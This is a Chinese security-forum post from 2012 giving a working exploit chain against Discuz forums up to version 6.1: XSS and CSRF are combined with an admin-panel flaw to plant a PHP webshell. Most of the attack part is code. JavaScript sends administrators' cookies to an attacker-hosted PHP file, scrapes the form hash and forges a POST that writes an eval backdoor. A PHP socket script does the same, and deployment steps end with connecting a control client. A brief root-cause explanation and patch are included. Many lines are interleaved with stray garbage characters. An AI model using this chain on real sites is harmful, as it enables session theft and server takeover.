找回密码
 立即注册
查看: 4424|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Discuz XSS得webshell
0 D* j6 ^5 N1 W' [By racle @tian6.com
/ i3 S5 C  [' \% Y: \欢迎转帖.但请保留版权信息.
- N. h5 Z6 A! m5 o受影响版本iscuz<=6.1.0,gbk+utf+big5
( M% M/ m/ ~2 l) y8 |, y5 v) g
- Z* f& k8 w& @/ V+ s1 ^, C$ O6 x新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效., ~/ e3 y% w6 g( e+ U+ t. a0 F! l
- v4 j, t" ^/ ?/ |8 ^: Q  w

; |" J: k0 o, X# H3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87067 W" Z4 O6 {; p4 l7 R+ i! F1 y* k) G% I
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.' o# W2 E- I. W! ~3 M
% @% T! }' j  m9 @* v
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..( V3 t# ]6 X! v( X
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS% v: d3 ]! l, |7 O- M

8 f0 y4 ]: n6 _5 W! \) n: K; l0 D4 s9 K" Q; o) X* m% `+ |1 D4 g
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
! i; c4 o) \* H& w6 @1 y
' M% T, @# D3 s' i/ k3 o) l, D7 i3 K* m  p6 [
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.! K5 ?: b2 q5 {' v7 L

+ C: f- z3 k7 U4 H: wproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
0 `3 g8 r6 n" a! L  [) g  U- z
/ ~) m9 {  {4 w3 }. lproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
6 Q7 A. |5 x$ o7 ]: ^$ F6 N& v3 _  n! q
. f7 G) s) M1 E8 W3 G: i% S
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {7 @! c/ \& |5 e. m5 [: i
, h  m; ?) B4 m* M4 w
        global $runwizardfile, $runwizardhistory;$ _, _: G. D2 R) s) n

- u; u7 \& U5 M' t" `        $fp = fopen($runwizardfile, 'w');! R% G7 B( x' v) I% f% o6 Z9 U

, ^2 M; c2 m, b) [, |1 N3 K        fwrite($fp, serialize($runwizardhistory));
1 o  e! h" N* F7 p, R* r, v; _! a
+ `( S, R% Y# W/ W( K1 C5 g' `        fclose($fp);
9 V( [# D7 ^0 R# m' p2 y) I+ Q! V2 |7 u4 M- b# W7 t4 l: M
}7 k% I9 g, i/ H/ u
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里." I. p+ u/ W4 C7 q" t5 r5 E
以下是修补的办法:function saverunwizardhistory() {
/ C# D. ^  Z  D" S) {8 R+ l& f3 _; K: d2 [0 _' O
        global $runwizardfile, $runwizardhistory;# u3 z/ `; r6 p8 O' V
. k- l1 ~' N7 o6 |2 y" n
        $fp = fopen($runwizardfile, 'w');
  c% e/ {% y+ y/ {* H* K, w, \' u, P$ M! ]; E0 w1 o+ ^. D2 v8 H
        $s = '<?php exit;?>';2 z/ X7 [- i6 k) w$ g4 L5 k0 S
# L! s9 J- D$ j3 y  q) B
        $s .= serialize($runwizardhistory);3 \; l& O2 P9 l. z. x$ K/ R
- m3 @; V2 f' v9 G# M  g
        fwrite($fp, $s);* x7 Z& n% b; P0 o' e$ h6 r1 ?

. V* }2 D$ v" ?, _' D5 p# L1 o        fclose($fp);& p9 \+ l& `! C" v) `- s+ p
. [6 }; Y) i% t
}
  ]8 b. q) R5 Z. L3 P复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.2 ?1 ~9 y' p- y

) Z$ C1 a1 y" ~
2 C- z& N% j- z. {- c3 Y! ?8 `
  O: \1 ^2 H0 p----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
8 k) r7 `4 w( u
- U: {' {3 |$ h7 S
* U3 j* M  v5 h2 g* s  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
5 s. G% K! N# t0 {- V+ u0 Q! d8 e8 x
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.: p3 T" i8 A/ ~; p& q
2 R) K- n, F3 U3 I: i! b
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
  }1 x" V. w0 {0 [5 P6 A' _5 U9 X. }% j4 Y9 H7 m' z5 w
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
* v; y$ s# `& \5 J5 l5 r, B1 X/ V9 S) @+ M& ]. [1 z
var url="http://目标网站/admincp.php";      
( t: Y! m1 U. L; @' c, u- }) v9 G2 O( J- ?6 z
/*获得cookies*/
8 s9 d2 e- Y. p' z7 n
& W: a2 Y0 D) a) \function getURL(s) {- _5 z" @% K* ?' c

* z2 ^+ ^9 f0 Qvar image = new Image();
  w) v9 V( B- {3 ?9 @
2 v9 s% q3 F- J* oimage.style.width = 0;
! c* t  g3 f7 H  ~& T) @0 C
$ g1 Y3 N" a1 Zimage.style.height = 0;" O7 k6 J: S4 B- s$ S7 \$ Y9 l: ?
" z0 _* K2 K- c
image.src = s;
# ?5 @. y& i* c3 Q! o3 F$ y
+ q: Y5 d. f6 W! {: c}
& P. A* P$ [+ E* ]+ y7 L+ ^) Y$ L+ ^/ c6 K$ N. S
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php& G/ @+ i8 [- W0 j
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
/ S/ I! o/ L& d7 p7 N复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) $ s  Y5 m7 b' j: |) V) [' z% k; z
# s& O/ K; s  M( h# O

6 ?! j& h% O" Z, d获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";4 M. {4 E- i( i6 x  h

) r  C9 P) p) o& ^8 N8 V# r/ @. ~
& A" `0 @3 h, [/ A7 N0 ^: l8 b/ p* I5 e
/*hash*/  F! u8 B% i" v8 H, M' q
- J' f! q) t6 D8 e$ w+ C
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
0 L8 R$ S) X, ~, N) }+ I  e: s5 m
& o  D/ `# H" V2 D$ UxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
$ C" j% ~, a( x0 f$ R% w" M: U2 q( b4 H- E6 G
xmlHttpReq.send();$ W& M0 Q' g8 V; ~* U
5 Q! F, j: X  n0 y
var resource = xmlHttpReq.responseText;
8 ^$ B' F$ O" s) e) U8 B% I3 t4 R- u+ o5 G6 `
var numero = resource.search(/formhash/);  o2 m, ]6 E/ q6 {9 q# u8 [
) ?# x! T2 N( D9 y* X
var formhash=encodeURIComponent(resource.substr(numero+17,8));! x% L8 D; H' n& F& ^2 s% _
- {) z9 @& K# C: K) o, v

0 n' y6 `# i/ M/ b7 w! J5 R- @, V9 x3 }. m
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 & f* w! o& M% f" H5 K; o3 B
7 Y8 Q+ D6 k1 q( v
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
5 i/ W' D8 N$ e4 h0 Y( G( N. [, D& [+ p
xmlHttpReq.setRequestHeader("Referer", url);
" k1 p% U  N1 S. d1 b5 K& f9 \' Z
# U7 ^. s' [" h7 j7 b; ixmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
. }& ]0 m' K4 x7 v
6 H: D# t/ i) N& ?" A8 k4 c% l4 c5 jxmlHttpReq.setrequestheader("content-length",post.length);
- T& p; F: G% |. x4 y$ E: d+ h4 P, E6 a5 v, w
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 2 M3 G& R- J3 Y+ w1 R

. z- _/ Z% g9 v" r) WxmlHttpReq.send(post);//发送数据- V9 V0 m  m' h) {
复制代码这里HASH我假设正确,这样提交,也无须cookies  z: \+ ~0 X3 J! w' F2 K
( y2 l( l$ D4 W- T( v. z7 w, C5 P4 t7 B
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);; B& {8 d  ~- R5 X
7 {& I: S, M7 J. m
if (!$sock) die("$errstr ($errno)\n");
6 Y8 D" w) S' p4 \; g
4 [, S& P6 j) V8 ]; L+ Q* w$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
) \# w& ]" Q$ B. f- Q/ [. n' \! P6 A9 A+ S, S. ^# Z" H# A) r
& n2 h8 x' B. u0 ^) i/ U  D

' w0 c$ R' Z; `7 @7 o1 z: efwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
* \' J1 _# O! k% o
+ ]$ X% M) L- j1 z) cfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");" `8 Z+ F3 S) x1 X3 l
& Z# o  R1 Y* E
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
8 s* p) g9 ]1 D7 u  j' h9 O+ O7 X, y# P3 a/ ?, t6 L6 P
fwrite($sock, "Accept-Language: zh-cn\r\n");7 v' Z1 |5 s* w9 z/ f, T/ b
# |1 N/ X4 m; K. c
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
* |1 j, L% K. W
/ Q1 M4 ~0 G6 Y4 w3 [, ufwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
& a6 A) ^6 c5 v1 f
5 v  O6 j5 o) W4 T! w* Mfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");4 H% f7 q& w  r$ _" g

4 C0 E) d3 x9 S& Xfwrite($sock, "Host: $url\r\n");
" E6 b3 z  p- w+ J5 c0 r- U) R; J
0 ^  c* _! l7 V- [" U3 ifwrite($sock, "Content-Length: ".strlen($data)."\r\n");
, h5 V. X% }$ o; S8 }
1 [1 y7 e( h+ C8 U2 lfwrite($sock, "Connection: Keep-Alive\r\n");$ g2 O7 N5 Y3 @% R, ?5 q: V
, j6 N1 r; M1 q
fwrite($sock, "Cache-Control: no-cache\r\n");8 \# V: E5 O) g6 v& W% Y, ^& h
1 [, W* y& k: _6 `
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
/ S: W/ [* m$ r2 v8 E3 p9 c# @5 O' K6 ]* E. l# A
fwrite($sock, $data);9 v: W% c3 z  y

9 o3 W) B" i% H3 H( M6 E" }- @0 {6 \2 {# p7 T

( j% d7 P* F. ]$ ~3 a$headers = "";3 \3 c+ t; l  U* K$ B
! S: a% b5 ~8 I% t2 y' q, \
while ($str = trim(fgets($sock, 4096)))
2 w' O. ^+ F0 W1 ~4 X( B8 v9 c0 r) l1 [6 f+ p3 U1 ]" s
     $headers .= "$str\n";
5 W5 }) d0 I, `, E/ @# x$ s7 T0 v' e( e1 p( `4 q6 @
echo "\n";
$ e3 f" _8 D* J; k) y6 @
8 T8 P8 _4 q1 v  y0 x3 w- @$body = "";6 M% }9 @. K$ ~3 y
( _) w& b! N% s1 n9 y( I
while (!feof($sock))
* U) H& Y9 O* f+ W3 S, D6 X. ?6 }' p. j6 x* ^0 F& R& ^
     $body .= fgets($sock, 4096);$ O' Y' q. e3 d# T/ a# o& a* H

. A+ D1 m% l! Afclose($sock);4 B3 W9 h0 T8 i: I- `

) o1 O  X7 ~- B! v% oecho $body;9 z* H- g, X+ \$ K) L* X1 {7 I. U
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
7 K4 R1 y0 t, b7 n
% ]; L! n+ L( q7 L# @
& y% ?+ P) j5 l8 A* q) _- F8 w-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
+ ?* }4 i- k: ]  V2 [8 `* G" y$ I( y. u- J
( {2 S5 E1 l" o; D! K( P- t
1HP SOCKET利用方法首先打开racle.js
* h. h% N+ u+ k, M0 u1 I4 q' f  @: f
$ D3 n. F8 I, e3 |5 `. f' Pvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
# A7 I! h5 g- Y: T
9 U9 X3 k9 v6 H! a: W0 x2 n1 ~6 ]8 F( ?& i! R( _( u+ a
% K3 k4 c& p5 S9 V! }$ V# l/ T; P3 S
然后打开racle@tian6.php, q5 l" n* `/ S, `
" ]; p" r4 g9 t4 L/ Q
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com# J! Q  f$ l& @% H( j; ~
8 q/ M3 g6 [' L3 B; e6 V" K$ v
; K4 d. C. f) }8 k2 _) u
  h% o0 E) E9 {7 }5 c
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:' x" x( q( r9 a" |1 z

( H3 z2 e8 D+ p7 {& `- s0 TgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));+ W; N1 m! y( O* }
9 T# r/ T2 @' t, e: T6 a& n  y
3 j6 C3 k7 x9 L9 f; R# h, s+ t

4 b4 a6 Y' ^' u9 ?getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));! e7 n# u* J3 C
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
8 u$ Q* p$ A; Q0 i6 e2 }2 b" d! p# y  B0 z

$ T4 r4 t$ R, b' M  h' l; @
9 O1 [- @6 l3 N% M" M* i1 ~( `如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:% P# ~  X* e* ~$ R
# O# b& Y( x! Q/ G
var formhash=encodeURIComponent(resource.substr(numero+17,8));" E) L2 h; l! j6 X! {; P6 ~

4 y. \4 ]0 a$ K- h. z! w5 x: b4 R% N$ @8 {9 r
6 N8 m& s1 B3 t6 z2 t5 [0 \) q
var formhash=encodeURIComponent(resource.substr(numero+9,8));' S. p# N. [, h3 A, O/ D
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
/ M: k+ Y6 M. V% d+ O1 x5 F3 c3 J" ~2 x0 L8 s: ]
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.5 H, V# i  g2 U% q2 w6 _! N2 L! Q' D

* i" f8 _% m; U: i1 U# m如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
3 Z. p- R# z4 V1 r3 @! I) i' ?/ d
8 c% `) F/ D2 q/ g/ `$ K) s不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.+ P5 J* W) n& {! D& ?6 v6 i

9 D( J" I# ?6 R8 O4 b; q+ w8 C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表